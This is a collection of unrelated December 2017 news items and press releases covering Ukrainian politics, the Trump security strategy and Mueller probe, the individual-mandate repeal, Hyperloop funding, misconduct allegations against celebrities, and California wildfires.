The bill also provides that alienation, pledge of land plots that are in economic management or in operational management are possible when agreed with the executive authorities and local self-governance bodies.

Non-agricultural land plots that are in operational management or in economic management can also be leased solely through land auctions for a period not exceeding 3 years, farmland not more than 7 years.
Acting Head of the National Bank of Ukraine (NBU) Yakiv Smolii is currently the only candidate for the post of NBU governor, Bloc of Petro Poroshenko MP Vadym Denysenko, who represents the Cabinet of Ministers in parliament, has said.

"One candidate is currently being considered. This is Acting Head Yakiv Smolii," he told reporters in parliament on Tuesday.

At the same time, Denysenko replied to the journalists' remark that Volodymyr Lavrenchuk's candidacy was mentioned earlier, that as of today, as far as he knows, only Smoliy is an applicant for the post of NBU head.

He also expressed doubt that NBU Governor Valeriya Gontareva would present a report in parliament before the appointment of the new head of the central bank.

However, he expressed hope that a respective vote for the appointment of the new NBU head would be held at a plenary meeting of the Verkhovna Rada on Thursday, December 21.

The deputy head of the Bloc of Petro Poroshenko faction, Oleksiy Honcharenko, also did not rule out that the Verkhovna Rada would consider the issue on Thursday.

"The chances that we will consider a candidate for the head of the National Bank of Ukraine on Thursday are fifty-fifty It depends on the president whether we consider this issue or not. If there is a motion today or tomorrow, then we will consider it, if not, then not," he told reporters in parliament.
Dragon Capital to raise up to $300 mln in Ukraine in 2018

Dragon Capital, an investment company, jointly with co-investors, namely Goldman Sachs, George Soros, and OPIC, plans to raise up to $300 million in investment in Ukraine in 2018.

"About 10 deals are in the pipeline," Chief Executive Officer of Dragon Capital Tomas Fiala said at a press conference in Kyiv on Tuesday, December 19.

The final sum will depend on the implementation of one or two large deals with co-investors to the tune of up to $150 million, he told Interfax-Ukraine.

Fiala estimates Dragon Capital's investment in Ukraine in 2017 at $100-150 million.

In his words, his company has recently been the most active applicant for approval of deals by the Anti-monopoly Committee.

In 2013-2014, Dragon Capital took an investment pause and renewed injections in the country in May 2015, he said.
Ukrainian President Petro Poroshenko met with the Ukrainian community of Portugal in Lisbon and expressed confidence that Ukrainians living in this country have become influential there, the press service of the Ukrainian president has reported.

"The Portuguese president, prime minister and Portuguese government are reckoned with the Ukrainian community," Poroshenko said, adding that he heard only good words from these people about the Ukrainian community.

He said that Portugal had never earlier so decisively spoke in support of Ukrainian sovereignty, territorial integrity and independence. Since March 2014, the priority topic for the country has been retaining of unity of the European Union and solidarity with Ukraine.

Poroshenko said that Portugal was one of the initiators of sanctions against Russia due to annexation of Crimea, aggression in the east of Ukraine and the non-implementation of Minsk agreements.

"This has become possible thanks to your position, as well as throughout Europe. And this is one more thing which I want to thank for," he said.

The Ukrainian president said that active position of Ukrainians in Portugal allows seeing positive result of efforts of Ukrainian diplomats, Ukrainian soldiers and Ukrainian diaspora, among other things.

"There is no more important task that to retain the country  protect it from aggression and win, as truth is with us and God is with us," Poroshenko said.
Ukraine has invited Portugal to joint work on the creation of a firefighting aircraft, according to Svyatoslav Tsegolko, press secretary for Ukrainian President Petro Poroshenko.

"Ukraine has offered Portugal to develop a firefighting plane on Antonov's basis," he wrote on his Twitter page on Monday.

Tsegolko also said that Poroshenko had thanked Portugal for recognizing the Holodomor as genocide of the Ukrainian people this year.

He also noted that Portuguese President Marcelo Rebelo de Sousa had confirmed that his country "supports Ukraine in NATO and the OSCE."

Poroshenko is on an official visit to Portugal on December 17-18.

The press service of the Ukrainian president said later on Monday that it is proposed to design and produce firefighting aircraft on the basis of Ukraine's Antonov State Enterprise.

"We offered to elaborate a joint project of water-bombing aircrafts construction on the basis of Antonov. We are confident that this will increase security in Portugal and will be a very successful and effective project of our cooperation," the press service said, citing Poroshenko.

According to Petro Poroshenko, bilateral economic projects should play significant importance for the development of cooperation between Portugal and Ukraine. He also said that "we are waiting for Portuguese investors who will seize opportunities for privatization."

He reminded that Ukraine had helped Portugal during wildfires.
PRESS RELEASE

Trump Delivers New National Security Strategy

Dec. 18, 2017 (EIRNS)President Trump today took the unusual step of announcing his administrations new national security strategy himself, in an address at the White House. In opening his remarks, Trump stressed that it rejects what he views as the failures of the past administration, trade deals and climate deals that hurt the U.S. economy, security and immigration policies that made Americans less safe at home, allowed the growth of ISIS in Iraq and Syria and that of the North Korean "nuclear menace." Trump touted his own moves to reverse these policy failures, including, on the economic side, trumpeting the high-flying stock market as the main indicator of the economic prosperity which he said his administration has brought in the eleven months its been in office.

In prefacing the new strategy, Trump declared that we are in an era of competition, that we face rogue regimes, international terrorist organizations, and transnational criminal groups; and that Russia and China are rival powers that seek to change the world in ways antithetical to U.S. interests. At the same time, however, he praised Americas providing information to Moscow that helped thwart a terrorist attack this past weekend in St. Petersburg, Russia. Thats how cooperation should work between the United States and other countries, he said. "While we seek such cooperation, we will also stand up for our country like we never have before," he said.

The strategy itself is composed of four pillars, the first of which is securing the American people and homeland. This includes building the wall on the U.S. southern border, tightening immigration policy by reversing many of the changes made by the previous administration, and providing greater support to the U.S. Border Patrol, Immigration and Customs Enforcement, and other agencies.

The second pillar of the strategy is to promote U.S. prosperity, because "economic security is national security," he said. This includes the tax-cut bill now on its way to passage in the Congress, and taking action against unfair trade and intellectual property theft. Trump also called for the complete rebuilding of Americas economic infrastructure. At the outset of his remarks, Trump had noted the Amtrak accident earlier today in Washington state, which he said shows why we must start "fixing" the infrastructure of the United States.

The third pillar of Trumps new strategy is "peace through strength"; that is, ending the caps on the defense budget and modernizing and growing the military. The strategy, Trump said, also recognizes space as a "competitive domain" and calls for a multi-layered missile defense system.

The fourth pillar is to advance U.S. influence around the world. This includes diplomatic and development efforts to achieve better outcomes in all arenas in order to protect U.S. interests, find new economic opportunities for Americans, and challenge U.S. competitors. We will make new partnerships with those who share our goals, Trump said.
PRESS RELEASE

Turley: Mueller Seizure of Trump Emails an Illegal Coup Stick

Dec. 18, 2017 (EIRNS)Constitutional legal expert Jonathan Turley of George Washington University presented Special Counsel Robert Muellers abuse of the law in his attempt to prosecute President Trump as following in the footsteps of the FBIs notorious J. Edgar Hoover, in The Hill today.

Hoover, now a pariah, even to the FBI, tellingly said, "Justice is just incidental to law and order," says Turley, but nevertheless,

"Hoovers attitude toward the use of federal power lingers like a dormant virus. Too often investigators interpret uncertain legal questions as a license for action."

Turley attacks Muellers seizure of tens of thousands of Trump transition emails from the General Services Administration, the custodian of all "transition" emails, as "legally unprecedented and strategically reckless."

Says Turley,

"[T]he blunt force approach taken toward the GSA is something of a signature of Mueller and heavy-handed associates like Andrew Weissman. As I have previously written, Mueller has a controversial record in attacking attorney-client privilege as well as harsh tactics against targets. As a U.S. Attorney, he was accused of bugging an attorney-client conversation. Mueller associate Andrew Weissmans record includes "major reversals in past prosecutions for exceeding the scope of the criminal code or questionable ethical conduct."

Turley warns that Muellers move on the confidential General Services Administration (GSA)-held transition e-mails "takes his investigation into uncertain legal territory," and if upheld, could create some new law in his favor.

The GSA only provides space for transition records, while the National Archives controls access, and has expressly maintained that materials that [transition team] members create or receive are not presidential records, but private materials, and thus, the GSA has agreed to delete "all data on [computing] devices" used by transition staff.

When Muellers team found out that the transition records had not yet been deleted, it demanded them, while the Trump team claimed that they were privileged information and protected from discovery. Richard Beckler, General Counsel for the GSA, agreed with the transition team that the GSA controlled the records. However, when Beckler was hospitalized, Muellers team seized the thousands of messages.

Trumps counsel sent a letter to Congress saying that Muellers office had denied pulling emails off the equipment (i-phones, etc.), but it was later revealed that such action may not have been necessary. In fact, the special counsels office had received tens of thousands of emails, including a very significant amount of privileged material, from the GSA while Beckler was hospitalized. There is no evidence that the demand for the materials was made in a court-approved subpoena.

Such actions are typical of Mueller associate Weissman, Turley says, noting that Weissman has had "reversals" of his illegal actions at the cost of millions (and ruined lives) in failed prosecutions. Any evidence, if tainted, could be thrown out, Turley says, as Lawrence Walsh, independent counsel in the Iran-Contra affair, saw his conviction of Oliver North overturned because the appeals court believed that it was "tainted" by evidence derived from Norths immunized testimony before Congress.

Turley concludes,
PRESS RELEASE

Ambassador Antonov Emphasizes U.S. and Russia Need Each Other

Dec. 18, 2017 (EIRNS)Speaking at an event celebrating the 210th anniversary of the establishment of diplomatic relations between Russia and the United States, Russian Ambassador Anatoly Antonov very positively commented on the recent telephone discussion between Russian President Vladimir Putin and U.S. President Donald Trump.

"Their contacts confirm that our countries need each other to define a joint program of work on strengthening international security," Antonov said, according to Sputnik. Antonov also said that such cooperation "meets the interests of the Russian and American people."

He pointed to recent intelligence information from the U.S. Central Intelligence Agency, warning the Russian government that terrorists were plotting an attack in St. Petersburg, as a positive example of what Washington and Moscow can achieve through cooperation.

"This morning Russian President Vladimir Putin had a telephone conversation with President of the United States Donald Trump. Vladimir Putin thanked Donald Trump for the information passed on by the CIA that helped detain the terrorists who plotted to set off explosions at the Kazan Cathedral in Saint Petersburg and other public places in the city,"

Antonov said.
Republicans are rushing to pass their cruel joke of a tax bill  legislation they claim will assist working families but in reality is an early Christmas present for corporations and the super-wealthy. Voting begins Tuesday.

It would be easy to devote an entire column to the vicious provisions of the bill, such as making corporate tax cuts permanent but relief for individuals only temporary, or running up well over a trillion dollars in debt to make the rich richer.

But the part that strikes me as most galling, and which has become almost an afterthought amid all the other damage the bill will do, is its incongruous and completely unnecessary repeal of the Affordable Care Acts individual mandate.

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Thats the aspect of Obamacare that basically makes the rest of the system work  and it does work, regardless of the lies conservative politicians tell to dupe followers into thinking the healthcare reform law is a disaster and a catastrophe.

A recent report from the Commonwealth Fund found that the Affordable Care Act has put access to healthcare in reach for millions of Americans. It said fewer people are putting off doctor visits or struggling with medical bills.

In California alone, the percentage of uninsured working-age adults has plunged to 10% from 24%, according to the report. Nationwide, the uninsured rate fell to a record low 8.8% last year.

After President Trump took office and cast uncertainty over insurance markets, the uninsured rate rose this year to a three-year high. Which means the only disaster for Obamacare has been Trump calling it a disaster.

And now Republicans are all but ensuring failure of the law by eliminating the requirement that most people have health insurance. They say theyre protecting personal freedom, giving people the choice of whether or not to buy coverage.

All theyre really doing is showing they have no clue how insurance works.

Premiums will certainly increase without an individual mandate, said Erin Grinshteyn, an assistant professor of health policy at the University of San Francisco.

Every single healthcare expert I spoke with said the same thing: You need a mandate to get younger, healthier people into the risk pool, thus making coverage affordable for everyone.

If only sick people enroll, the market falls apart, said Dana Goldman, director of USCs Schaeffer Center for Health Policy and Economics. Imagine what would happen to homeowners insurance if only people in the canyons bought policies. The mandate is designed to make sure the market doesnt fall part.

This isnt a question of ideology  its economics, pure and simple. Moreover, its ludicrous for anyone to say they dont need health insurance because they dont plan to use it.

Nobody plans to have a serious illness or accident. Insurance is all about being prepared for the unexpected.

Thats why you insure your car. Its why you insure your home. Its why you pay into Social Security.

You may be healthy now, but later on you could get very sick and require costly treatment, said Vivian Ho, director of the Center for Health and Biosciences at Rice Universitys Baker Institute for Public Policy. When that happens, its not OK to just shrug your shoulders and say, Oh well, and expect taxpayers to pay the bill.

Republican politicians, who have campaigned on repealing Obamacare or, if not that, getting rid of the mandate, seem comfortable displaying their economic ignorance.

Wouldnt it be great to repeal the very unfair and unpopular individual mandate in Obamacare and use those savings for further tax cuts, Trump tweeted last month.

What he was referring to is a notion that without a mandate, millions of people would skip buying insurance, which means the government wouldnt have to spend so much on Obamacare subsidies. That money, apparently, could be better spent cutting taxes for corporations and the rich.

The Congressional Budget Office estimates that about 13 million fewer people will be insured by 2027 after the mandate goes adios. In some cases, this will be because they dont want insurance. In others, because they cant afford it.

Average premiums will rise 10% as the risk pool grows sicker, the CBO says.

On the other hand, the drop in subsidies paid out will mean an extra $338 billion for tax cuts.

Michael French, a health economist at the University of Miami, called this coverage-for-tax-cuts tradeoff shortsighted and selfish.

Any serious health economist will tell you that the individual mandate was a good move for health insurance markets, he said.

Allowing people to wait until they become sick before they buy insurance just makes the market unsustainable. It means the only people covered are sick people, and that make insurance too expensive.

Some Republican lawmakers have proposed creating a reinsurance program that would make billions of dollars available to stabilize insurance rates. But such a system would be required on a perpetual basis, and conservatives so far are unwilling to appropriate more than a few years worth of funding.

So along with all the other problems with the tax bill, it manages to take genuine progress under the Affordable Care Act and drive it off a cliff.

Trump said last week he was looking forward to providing a massive tax cut for the everyday, working Americans who are the backbone and heartbeat of our country.

Its probably just a coincidence he cited two body parts that, if anything goes wrong, will wipe you out financially.

David Lazarus column runs Tuesdays and Fridays. He also can be seen daily on KTLA-TV Channel 5 and followed on Twitter @Davidlaz. Send your tips or feedback to david.lazarus@latimes.com.
Virgin Hyperloop One, a Los Angeles company developing a super-fast transportation system, announced it has raised $50 million from foreign venture capital investors and made Richard Branson the chairman of its board of directors.

The new round of funding, announced Monday, came from Dubais DP World and Russias Caspian Venture Capital. Axios, which first reported the story, called the money a lifeline for a company so low on cash that the jobs of some 300 employees were at stake.

Virgin Hyperloop One did not immediately respond to a request for comment.

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The funding round will help the company focus on accelerating commercial agreements for both passenger and cargo projects, Chief Executive Rob Lloyd said in a statement.

In October, Virgin Hyperloop One received $85 million from several investors, including Bransons Virgin Group (resulting in the companys name change from Hyperloop One). With the addition of this weeks $50-million investment, the company has in total raised $295 million since its 2014 founding.

The funding caps a tumultuous 18 months for the company. In summer 2016, co-founder Brogan BamBrogan sued fellow co-founder and investor Shervin Pishevar, alleging wrongful termination. Among the allegations laid out in the suit were nepotism, assault and threats made with a noose. They settled the suit that November, but BamBrogan launched a competing hyperloop company.

Pishevar was further embroiled in controversy this month when multiple women accused him of sexual misconduct. He denied the allegations but resigned from the venture capital firm he co-founded, Sherpa Ventures, and took a leave of absence from Virgin Hyperloop One.

Virgin Hyperloop One is one of a handful of firms developing technologies in which passengers and cargo can be loaded into pods that travel at high speeds through low-friction tubes above or below ground. For example, the firm envisions 30-minute trips between Los Angeles and Las Vegas.

The others include Boring Co., led by Elon Musk  who also founded Tesla Inc. and SpaceX  and Arrivo Corp., led by BamBrogan and other former Hyperloop One employees. Musk popularized the idea of such technology, unveiling a design in 2013.

Also on Monday, Virgin Hyperloop One said it had set a new speed record of 240 mph at its test site in Las Vegas.

tracey.lien@latimes.com

Twitter: @traceylien
Two of the women who have accused Russell Simmons of sexual misconduct shared details about their alleged experiences with the music mogul Tuesday morning on NBCs Today.

Natashia Williams-Blach and Sheri Hines, who first publicly accused Simmons last week in a Los Angeles Times article, sat down with Megyn Kelly for the interview.

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Simmons has denied all allegations of nonconsensual sexual activity. Both women took issue with a letter that the Def Jam co-founder wrote to the Hollywood Reporter in which he talked about his spiritual evolution and said, I can sleep at night because I know who I am.

Williams-Blach, an actress, said that letter was what prompted her to come in off the sidelines. She said that when she was 18, Simmons unsuccessfully tried to force her to perform oral sex on him after the two had attended a yoga class.

Russell Simmons has denied all allegations of nonconsensual sexual activity. (Chris Pizzello / Associated Press )

Its all so fast when youre in that moment. , she said. Im present, Im seeing it all happen, but Im shocked.

Hines, a hip-hop musician, said that when she was 17 or 18, Simmons invited her to his new office and then raped her. Shed gone with him, she said, in hopes of asking him about a failed record deal involving her group Mercedes Ladies.

Last week, NYPD detectives said they were in the early stages of reaching out to women who had accused Simmons. Hines said Tuesday that she had been contacted but hadnt yet talked to the police; Williams-Blach said nobody had reached out to her so far.

In another television interview related to alleged sexual misconduct, on Monday night, NBC Nightly News With Lester Holt featured three women who have accused Dustin Hoffman of inappropriate behavior.

Ive been lying for 34 years, Kathryn Rossetter told correspondent Cynthia McFadden about the alleged incidents in the 1980s. People go, How was it to work with Dustin? And I tell the half-truth, which is as an actor, I owe him everything. Then her voice hitched.

I learned so much, said the actress, who performed with Hoffman in Death of a Salesman on Broadway. And then I would stop and there would be a knot in my stomach.

Fellow accusers Cori Thomas, a playwright, and Anna Graham Hunter, a former intern who worked on the TV version of Salesman, were also on the nightly news show. The Times has not independently confirmed the womens allegations.

Hoffman attorney Mark A. Neubauer of Carlton Fields Jorden Burt told Variety last week that the womens stories were defamatory falsehoods.

ALSO:

Five more women accuse Russell Simmons of sexual misconduct across three decades

Russell Simmons and Brett Ratner face new allegations of sexual misconduct

More women accuse Dustin Hoffman of sexual misconduct in the 70s and 80s

Op-Ed: publicly accused Dustin Hoffman of harassment. Take it from me, its not easy to expose sexual misconduct

cdz@latimes.com

@theCDZ
Illegal armed formations attacked Ukrainian positions in the Anti-Terrorist Operation (ATO) zone in eastern Ukraine 16 times and no Ukrainian soldiers were killed or wounded, the press center of the ATO Headquarters has reported.

"The situation in the area of ATO in the evening remained complicated with a tendency to aggravate. Russian-occupation forces continued to violate the Minsk agreements and applied prohibited weapons, in particular mortars and heavy artillery," the press center said on its Facebook page on Tuesday morning.

In the Lugansk section, the Svitlodar arc remained the epicenter of enemy fire activity. After the shelling of the settlement Novoluhanske earlier, where the enemy used multiple rocket launchers against civilians and released at least 40 rockets, the shelling in that area did not stop during the dark hours.

In particular, ten 122-mm artillery shells and more than forty heavy 120-mm mines fell near Travneve, and about twenty 122-mm shells exploded around Hladosove. Also, with mortars of various types, the enemy intensively fired on Ukrainian defense points near Luhansk and Lozova.

In general, during the past day, only in the vicinity of these frontline settlements militants fired about two hundred munitions.

In other key sections it was relatively quiet in the evening.

"Military servicemen of the Armed Forces of Ukraine together with other representatives of the law enforcement agencies continue to provide assistance to the affected residents of Novoluhanske. In the first minutes after the barbaric shelling by Russian mercenaries of this settlement, Ukrainian military physicians stabilized the condition of eight victims, including one child. The victims were sent to the nearest in-patient medical institutions," the press center said.
There are no more limequats left on Mud Creek Ranch. The Kishu mandarins are crumpled and Pixie tangerines hang like lumps of black coal, but it was the avocados that suffered the most. From a distance, the fruit on a 50-year-old Fuerte tree could pass for Bosc pears, their tear-shaped avocados cooked to a caramel color. Nearby red sap oozes from the trunks of Hass and Pinkertons, as though they were bleeding.

The Thomas Fire, which as of Monday had ravaged over 270,000 acres in Ventura and Santa Barbara counties, started a quarter of a mile from Mud Creek Ranch, a 65-acre swath of land in Santa Paula Canyon where Steven and Robin Smith grow organic avocados and more than 200 varieties of citrus.

It was Dec. 4 when Smith heard the dogs barking and walked out his kitchen door to find flames crawling toward his property.

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The fire was coming over that ridge right there, he says, pointing to a charred hillside. And the wind was really howling, maybe 40 knots.

When a second firestorm barreled down Mud Creek and ignited a neighbors woodpile, Smith knew it was time to go. There were embers flying at 40 miles per hour, he recalls. The fire department was here but they had to bail; it was too overwhelming.

On the morning of Dec. 5, when the Smiths returned home, their barn, workshop, garage  and a historic house built in the 1880s where the Smiths stored their family heirlooms  were reduced to piles of ash. An estimated 5,000 of 20,000 trees were damaged, and their house was moments away from igniting after a 40-foot tall cluster of burning bamboo had fallen onto the roof. The citys water line was down, so Steven and his son Matthew put the bamboo fire out with their dogs 15-gallon drinking water buckets.

The Smiths harrowing story is one of many circulating among neighbors in this farming community where residents have lost houses, vehicles, barns and entire hillside plantings as the fire cut through the steep canyons.

Fourth-generation farmer Jamie Johnson, whose properties in Ojai, Carpinteria and Fillmore all suffered fire damage, described the destruction in the area as biblical.

Despite his efforts irrigating, clearing the ground of dry leaf litter and bulldozing fire lines, the fire plowed into his Fillmore avocado groves on Day 12 of the blaze. It was like a freight train, he recalls. It was just unstoppable. You have no control and once it goes, it goes.

This region is no stranger to fire or drought or freeze.

Ventura County holds nearly 16,000 of the states 54,000 acres of avocado production, more than any other region in California. About 4,500 acres are inside the burn zone, according to Farm Bureau of Ventura County Chief Executive John Krist, but the damage varies greatly from grower to grower.

One grower I know is estimating as much as 80% of avocados are gone, Krist says. For others it just nibbled around the edges, but it will be a few weeks before we can really get a good handle on dollar value.

Last year, Ventura County produced 90 million pounds of avocados, and this year we were on track to double that, says California Avocado Commission President Tom Bellamore. Avocados are an alternate bearing crop, meaning they produce a heavy yield one year and a light yield the next. Bellamore estimates that this years bumper crop means that, despite the losses, its unlikely that customers will notice a shortage in the marketplace.

Avocados were especially hard-hit because, unlike citrus which are planted on flat ground, they are often planted on hillsides, where its harder for firefighters to battle the flames, and its common practice to let dead leaves fall to the ground, where they become ready tinder in a wildfire.

While terrifying images of hillsides and palm trees ablaze have mesmerized the public, the strong Santa Ana winds fueling the fire may prove to be more damaging for farmers who are dealing with avocados blowing off the trees, rendering them unsellable, and citrus banging against the trunks and branches, which bruises the fruit and reduces its value.

Usually a Santa Ana lasts a couple of days and you get a break, Krist says. For the wind to blow two weeks is just unheard of.

The wind also spreads smoke damage, according to Ben Faber, a farm advisor with UC Cooperative Extension. There are a lot of gases in the smoke like ethylene that is a ripening agent, he explains. I was out looking at a cherimoya orchard in Carpinteria on Friday, and it didnt get hit by fire or heat, but there were a lot of cherimoyas on the ground.

In addition to wind, smoke and fire, rows of lettuces and strawberries in the flatlands are covered in ash and the air quality in the county ranges from unhealthy for certain groups to hazardous.

Kenter Canyon Farms Andrea Crawford, who grows lettuces and other greens on the edge of the fire in Fillmore, questioned what would happen to her crop. Theres a lot less sunlight, she said by phone, and indeed, driving down Highway 150, the California sunshine appears to have been smudged out by a dirty eraser, replaced by hazy vistas and an ominous orange glow.

Tens of thousands of acres of grazing land have been charred, leaving behind a moonscape of black hillsides pockmarked with ash and brittle stumps, which worries Krist.

Those hillsides will regenerate over time, he says, but if we get considerable rains this winter they are susceptible to debris flow and erosion which in the near future is a big concern.

Back at Mud Creek Ranch, Steven Smiths immediate concerns are tightening up irrigation systems so they can stay on track with the crops that arent damaged, and talking with farm agencies about recovery.

Everything is insured, but its beside the point, Smith says. A lot of those heirlooms, I dont know how you put a price on that.

Until the various agencies have assessed the farm, the Smiths have been advised not to touch anything, which means they confront a pit of ashes every time they leave the front door. And theyre left running a business without any infrastructure to pack or store fruit for their weekly farmers market hauls.

While the customers at farmers markets wont see any drastic changes to Mud Creeks offerings, 80% of Smiths avocados are sold to packing houses, and after the fire, he is considering replacing many of his damaged trees with lemons, which proved less susceptible to the wildfire.

Smiths daughter Marguerita, 27, who was born and raised on the farm and continues to work in the family business, sees the loss more personally. For us this is our life and our story. That avocado tree used to be my fort, she says, pointing to a cluster of singed foliage. And the bamboo forest was my hide-out.

Ultimately, Marguerita says her family is grateful to have one another. Sure, were bummed about it, and the family photos are gone, she says. But well just make new ones.

food@latimes.com

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Disney Cruise Line will transport guests to a galaxy far, far away on 15 Caribbean cruises that celebrate epic Star Wars adventures at sea onboard the Disney Fantasy. With departure dates from January 6 through April 14, 2018, all seven-night eastern and western Caribbean cruise itineraries will feature the out-of-this-world Star Wars Day at Sea attended by iconic characters including Jedi, Wookiees, Stormtroopers, and droids.

The galactic adventure on the Milky Way-sized ship will feature a full day of Star Wars celebrations including Star Wars-themed family and youth activities; unique meals and drinks; and specially-themed shows and events. Guests are encouraged to bring costumes for special cosplay gatherings in the atrium lobby, and pretty much anytime you want to save the Empire from the comfort of your poolside deckchair. Casual attire and light sabers are welcome. The days grand finale will be the Summon the Force deck party with games, music, stunts, special effects, and a fireworks spectacular, plus interactive encounters with the galaxys most formidable and heroic characters.

Throughout the cruise, guests can relive the mythic journey of the Skywalkers during screenings of all nine films - including the new Star Wars: The Last Jedi and the latest installment in the new standalone series Rogue One: A Star Wars Story.

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At Disneys Oceaneer Club play space, the new Star Wars: Command Post invites kids to enlist in Jedi Training: Trials of the Temple, where Force-sensitive children learn the ways of the Jedi and use their newfound skills in a final face-off with Darth Vader and Kylo Ren. Children can traverse the galaxy with flight-training simulators, and interact with holographic models at a one-of-a-kind Star Wars holotable that projects 3-D images of famous Star Wars ships, droids and vehicles such as the Death Star, TIE fighters, and K-2SO from Rogue One.

Star Wars-themed arts and crafts, games and activities will be offered throughout the day, and the Star Wars Drawing Academy will show budding artists how to draw their favorite characters. A Star Wars scavenger hunt will require that young Jedi use their best secret-message decoding skills to solve a ship-wide mystery, and kids and their parents can compete in Star Wars trivia contests.

Star Wars Day at Sea cruises will sail from Port Canaveral, Florida, a convenient one-hour drive from Disney World in Orlando. Western Caribbean cruises depart Jan. 6, 20; Feb. 3, 17; March 3, 17, 31; and April 14, 2018, with visits to Cozumel, Mexico; Falmouth, Jamaica; Grand Cayman; and Disneys private island in the Bahamas, Castaway Cay. Eastern Caribbean cruises depart Jan. 13, 27; Feb. 10, 24; March 10, 24; and April 7, 2018, including ports of call in Tortola, St. Thomas, and Castaway Cay.

Starting off in Disney World? We know what you should eat.

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May the Force Be With You
After the fire, they had nothing.

To their surprise, they also had everything.

You may recall the story of Jan LeHecka Pascoe and her husband, John, who spent six terrified hours in a neighbors swimming pool, slipping below the surface to avoid the flames and embers, coming up for air, then slipping into the water again as a deadly, wind-whipped firestorm consumed their home, their neighborhood and very nearly cost them their lives.

Something about their story captured imaginations. Perhaps it was simply that it had a happy ending  they survived, together, by their own wits  when so many others perished in Octobers wine country fires. At first light, when the fire died down, they got out of the pool. Holding hands, covered in soot and shivering in the 40-degree chill, they walked until they found a sheriffs deputy, who said the couple walking toward him looked like zombies coming out of the ash.

They were deluged with requests for interviews and TV appearances, which they turned down. The Weather Channel still wants them for a survival special. A literary agent approached them about writing a book and is shopping a proposal. Even strangers in San Francisco, where they sought refuge with family, recognized them.

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We went into the Balboa Cafe one afternoon, said John, 70. The waitress came up to us and said, Are you the pool people? And she started crying. And we got up. I gave her a big hug, and Jan gave her a big hug.

Everyone wants to hug us, said Jan, 65. And I love it.

::

I met the Pascoes again on Sunday afternoon at a cafe in San Franciscos Laurel Heights neighborhood. Jan, a recently retired art teacher, wore donated leggings, borrowed shoes and an oversized fishermans sweater that dwarfed her slender frame. John, an artist, wore jeans and a denim shirt and carried himself with the confidence of the star cornerback he once was at Williams College.

They had just returned from a three-week stay in a Mexican fishing village on the Pacific Coast, where Jan taught art in an after-school enrichment program founded by friends from Sebastopol.

They were tanned and relaxed, no longer in the mild state of shock they were in when I talked to them three days after their narrow escape from the Tubbs fire, which devastated thousands of homes and killed more than 40 people.

They lit up when they spoke about their two daughters, sons-in-law and three grandchildren. We have a good family, said Jan. And there is a lot of beauty in the world.

They are not entirely settled.

I cant get Bob Dylans tune out of my head, said John, who sometimes has a vision of two dead bodies floating in a pool. Lyrics from Like a Rolling Stone keep coming to mind: When you aint got nothing, you got nothing to lose.

In the days following the fire, the Pascoes stayed in San Francisco with their daughter Zoe, her husband and two young children. Their younger daughter, Mia, came from Park City, Utah, with her husband and baby.

After a week or so, friends in Healdsburg offered to let them stay in a 500-square-foot guest cottage, where they will live until the spring.

The Pascoes were overwhelmed with grief and loss  their elderly cat had disappeared, John lost at least 100 of his paintings and two beloved Dale Chihuly bowls hed inherited from his mother. They were also overwhelmed with the details of rebuilding their lives  dealing with the insurance company, getting drivers licenses, passports, clothes.

At times, it was hard to think straight.

I couldnt text people, Jan said. Couldnt spell anything, everything was just very garble-ish. Stores were really confusing. You dont really know where to spend your money. I would just walk out. I couldnt even get it together to buy a pair of fins for Mexico.

The Pascoes also had to adjust to being on the receiving end of all kinds of charity.

The outpouring of concern and expressions of love took so many different forms, said John, who was moved to tears by the gift of a glass bowl from Chihuly and his wife, who had read about their loss. Its a lot easier for me to give than to receive.

Many people offered to send money, which the Pascoes found unsettling. Their daughters suggested that instead of accepting donations, they create a website to sell prints of Johns paintings. (He has also been commissioned by the Kenwood winery to produce a label that will memorialize the fire.)

Johns brother, David Pascoe, who lost his home and art book business in the hard-hit Fountaingrove neighborhood of Santa Rosa, helped John overcome his reluctance to accept help.

David said to me, You have to enable people to give, and understand that they need to do that to feel good. That creates a cycle of giving and receiving. If you tell them, No, no, no, Im fine.

The truth of the matter, Jan interjected, is we werent fine. It just took a while to say, OK, I will take that bag of clothes from you. We didnt have the ability to be fighting with people about We cant take this, we cant take this. It became easier to just get to a point of being grateful and showing gratitude.

John Pascoes heirloom Chelsea Parrot sculpture, dating from 1740, lost its colorful glaze in the fire that destroyed the Pascoes Santa Rosa home. (Robin Abcarian/Los Angeles Times )

::

Hardly anything they owned survived the fire. Jan found her mothers silver in a melted blob. Zoe found her fathers good-luck charm, a piece of carved Ming Dynasty jade that had turned from green to bone white. John found another heirloom intact but battered  a porcelain Chelsea parrot sculpture from 1740. Its brilliant colors were gone.

I said, I dont want this. It almost brings me down because I remember what it was like, John said. Whatever I find is not going to be what I am looking for anyway.

Before they left for Mexico, the Pascoes received a gift from their neighbors  the life-sized angel statue that had given the Pascoes some comfort during their hellish night. It was untouched by the flames that destroyed almost everything on the mountain.

Every step of the way, Jan said, somebody was dancing on our shoulders.

Jan went back to Santa Rosa by herself last weekend. She walked around their land for a couple of hours and thought about whether she could live there again.

I feel like I can live up there, she said. I miss it. My property is part of me.

While she was home, she spotted signs of new life on the blackened mountain. Nasturtiums and paper whites had blossomed while they were gone. Jan picked a bouquet and brought it home to John.

robin.abcarian@latimes.com

Twitter: @AbcarianLAT

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Over the last three weeks, the Thomas fire has burned its way through the history books with a menacing pattern.

Powerful Santa Ana winds push flames through hillsides, mountains and canyons at a rapid pace firefighters can do little to control. Then the winds die down, giving crews a chance to regroup and mount aggressive defensive actions before the Santa Anas return.

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Firefighters are used to battling the wind, but not this much of it. Southern California set a record this month for the longest sustained period of fire weather warnings  12 consecutive days  due to the winds, which have made it impossible for firefighters to get a handle on what is now Californias third-largest fire on record.

Officials are using the latest reprieve in the winds to set new backfires and build fire lines that they hope will halt the fire from advancing when strong winds return Wednesday. But the conditions are setting the stage for a long fight, with officials saying they dont expect full containment until January. By Monday night, the blaze was 50% contained.

Usually Santa Ana winds last two days, said Ventura County firefighter Antonio Negrete. Weve been firefighters for decades and have never seen anything like this.

The Thomas fire has scorched 271,000 acres across Ventura and Santa Barbara counties, destroyed more than 1,000 structures and damaged 250 more. An additional 18,000 structures remain threatened and thousands of residents still cant go home.

Some 8,450 firefighters are on the lines, making the response to the Thomas the largest deployment of fire resources in California history. The cost to fight the fire has exceeded $130 million.

Forecasters said that weaker winds, cooler temperatures and higher humidity early this week should help, giving crews a brief opportunity to consolidate hard-fought gains.

Its one of the longest respites weve had, said Dave Bruno, a meteorologist with the National Weather Service. Its been pretty relentless since the 2nd of December.

